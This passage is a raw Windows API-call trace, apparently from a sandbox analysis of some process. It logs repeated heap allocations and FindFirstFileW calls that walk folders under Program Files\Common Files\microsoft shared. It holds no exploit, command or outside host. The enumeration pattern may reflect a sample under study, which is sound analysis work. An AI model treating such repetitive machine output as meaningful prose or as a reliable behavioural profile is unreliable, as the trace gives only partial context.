hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.109] GetProcessHeap () returned 0x11a0000 [0079.109] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8a740 [0079.109] GetProcessHeap () returned 0x11a0000 [0079.110] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.110] GetProcessHeap () returned 0x11a0000 [0079.110] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.783] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.783] GetProcessHeap () returned 0x11a0000 [0079.784] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.784] GetProcessHeap () returned 0x11a0000 [0079.784] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.785] GetProcessHeap () returned 0x11a0000 [0079.785] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.786] GetProcessHeap () returned 0x11a0000 [0079.786] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0079.787] GetProcessHeap () returned 0x11a0000 [0079.787] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0079.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0079.788] GetProcessHeap () returned 0x11a0000 [0079.788] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b44788 [0079.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.788] GetProcessHeap () returned 0x11a0000 [0079.788] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b44788 | out: hHeap=0x11a0000) returned 1 [0079.789] GetProcessHeap () returned 0x11a0000 [0079.789] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0079.789] GetProcessHeap () returned 0x11a0000 [0079.789] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0079.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0079.790] GetProcessHeap () returned 0x11a0000 [0079.790] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b44788 [0079.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8ad48 [0079.877] GetProcessHeap () returned 0x11a0000 [0079.877] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b44788 | out: hHeap=0x11a0000) returned 1 [0079.877] GetProcessHeap () returned 0x11a0000 [0079.878] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0079.878] GetProcessHeap () returned 0x11a0000 [0079.878] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0079.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0079.883] GetProcessHeap () returned 0x11a0000 [0079.883] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0079.883] GetProcessHeap () returned 0x11a0000 [0079.883] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0079.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0079.885] GetProcessHeap () returned 0x11a0000 [0079.885] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0079.885] GetProcessHeap () returned 0x11a0000 [0079.885] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0079.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0082.906] GetProcessHeap () returned 0x11a0000 [0082.906] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0082.906] GetProcessHeap () returned 0x11a0000 [0082.906] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0082.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0082.906] GetProcessHeap () returned 0x11a0000 [0082.906] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b63790 [0082.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0082.907] GetProcessHeap () returned 0x11a0000 [0082.907] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b63790 | out: hHeap=0x11a0000) returned 1 [0082.907] GetProcessHeap () returned 0x11a0000 [0082.907] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0082.908] GetProcessHeap () returned 0x11a0000 [0082.908] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0082.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0082.909] GetProcessHeap () returned 0x11a0000 [0082.909] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b63790 [0082.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0082.910] GetProcessHeap () returned 0x11a0000 [0082.910] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b63790 | out: hHeap=0x11a0000) returned 1 [0082.910] GetProcessHeap () returned 0x11a0000 [0082.910] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0082.911] GetProcessHeap () returned 0x11a0000 [0082.911] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0082.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0083.228] GetProcessHeap () returned 0x11a0000 [0083.228] HeapFree (in: hHeap=0x11a0000, 